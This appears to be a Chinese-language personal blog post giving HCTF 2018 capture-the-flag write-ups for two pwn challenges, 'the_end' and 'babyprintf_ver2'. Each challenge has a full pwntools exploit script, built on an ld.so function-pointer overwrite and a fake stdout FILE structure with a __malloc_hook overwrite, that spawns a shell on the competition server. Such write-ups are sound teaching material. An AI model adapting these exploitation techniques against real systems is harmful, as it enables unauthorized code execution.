Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

hctf 2018 pwn writeup

the_end

程序自身的功能很简单:

  • 提供libc地址(2.23)
  • 关闭stdoutstderr
  • 5次对所给地址修改1字节的机会

在进行5次修改后,程序调用了exit()函数。一开始的思路是对libc中的FILE结构体进行修改,从而将程序劫持到one_gadget处,但是比赛时想到的方法大概需要10字节左右的修改,放弃。

接着就开始对exit()函数进行研究,在gdb里对exit()函数一步一步地进行跟踪,发现两个能利用的点:

  • 0x00 CTF 2017 left 的解题思路,但是无法获得随机数,放弃。
  • _dl_fini函数中,会执行call QWORD PTR [rip+0x216414] #<_rtld_global+3848>,该位置位于ld.so当中,是能够修改的位置。

因此在第二个点的基础上继续研究。通过vmmap可以得知ld.so的这个位置到libc.so.6的基地址的偏移是固定的,虽然他们中间的空间不是连续的(后续再具体研究一下为什么Orz,这题中没问题就对啦)。将该位置的数据修改为one_gadget即可。

另一个需要解决的问题是程序关闭了stdout,所以拿到shell后无法看到服务器的返回。通过exec /bin/sh 1>&0即可对输出流进行重定向,能正常与shell交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './the_end'
DEBUG = 1
local = 1
if DEBUG == 1:
if local == 1:
p = process(BIN_PATH)
else:
p = process(BIN_PATH, env={'LD_PRELOAD': './libc.so.6'})
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
if local == 1:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('./libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('150.109.44.250', 20002)
p.recvuntil('Input your token:')
p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz')
elf = ELF(BIN_PATH)
libc = ELF('./libc.so.6')
context.log_level = 'debug'

if DEBUG == 1:
gdb.attach(p, gdbscript='b *0x0000555555554964')

p.recvuntil('here is a gift ')
recv = p.recvuntil(',', drop=True)
libc.address = int(recv, 16) - libc.symbols['sleep']
print hex(libc.address)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p.recvuntil('luck ;)\n')
p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000)))
p.send(p64(libc.address + one_gadget[2])[0])
p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 1))
p.send(p64(libc.address + one_gadget[2])[1])
p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 2))
p.send(p64(libc.address + one_gadget[2])[2])
p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 3))
p.send(p64(libc.address + one_gadget[2])[3])
p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 4))
p.send(p64(libc.address + one_gadget[2])[4])
# exec /bin/sh 1>&0
p.interactive()
p.close()


if __name__ == '__main__':
pwn()

babyprintf_ver2

程序本身实现了类似于格式化字符串漏洞的功能,但调用的是printf_chk()函数。用于保存用户输入的字符串的全局变量存在溢出,能够覆盖stdout指针,程序提供了.bss的地址。

因此,通过溢出将stdout指针指回.bss上,并在指向的地方构造虚假的stdout结构体,由于存在着vtable的检查,因此vtable处的值会被程序自己填入。通过构造缓冲区的指针为.bss上的地址,能够将这个vtable的值泄漏出来,从而获得libc的基地址。

同样地,通过构造缓冲区的指针,能够进行任意地址写的操作,将__malloc_hook处修改为one_gadget的地址。通过触发printf_chk()函数的报错进而触发malloc()拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './babyprintf_ver2'
DEBUG = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('150.109.44.250', 20005)
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('Input your token:')
p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz')
context.log_level = 'debug'


p.recvuntil('buffer location to')
recv = p.recvuntil('\n', drop=True)
bss_address = int(recv, 16)
p.recvuntil('Have fun!\n')
payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) + p64(bss_address + 0xf8) * 3
payload += p64(bss_address + 0xf8) + p64(bss_address + 0x100) + p64(bss_address + 0x11d)
payload += p64(bss_address + 0xf8) + p64(bss_address + 0x11d) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)

p.sendline(payload)
p.recvuntil('permitted!\n')
p.sendline('a' * 8)
recv = p.recv(8)
libc.address = u64(recv) - (0x7ffff7dcc2a0 - 0x7ffff79e4000)
print hex(libc.address)

payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
payload += p64(bss_address + 0x200) * 7
payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)

p.sendline(payload)

malloc_hook_addr = libc.symbols['__malloc_hook']

payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
payload += p64(bss_address + 0x200) * 6
payload += p64(malloc_hook_addr) + p64(malloc_hook_addr + 0x8 + 4) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
p.sendline(payload)

p.sendline(p64(libc.address + 0x10a38c)) # one_gadget

payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
payload += p64(bss_address + 0x200) * 7
payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
p.sendline(payload)
sleep(0.5)
p.sendline('%49$p')

p.interactive()
p.close()


if __name__ == '__main__':
pwn()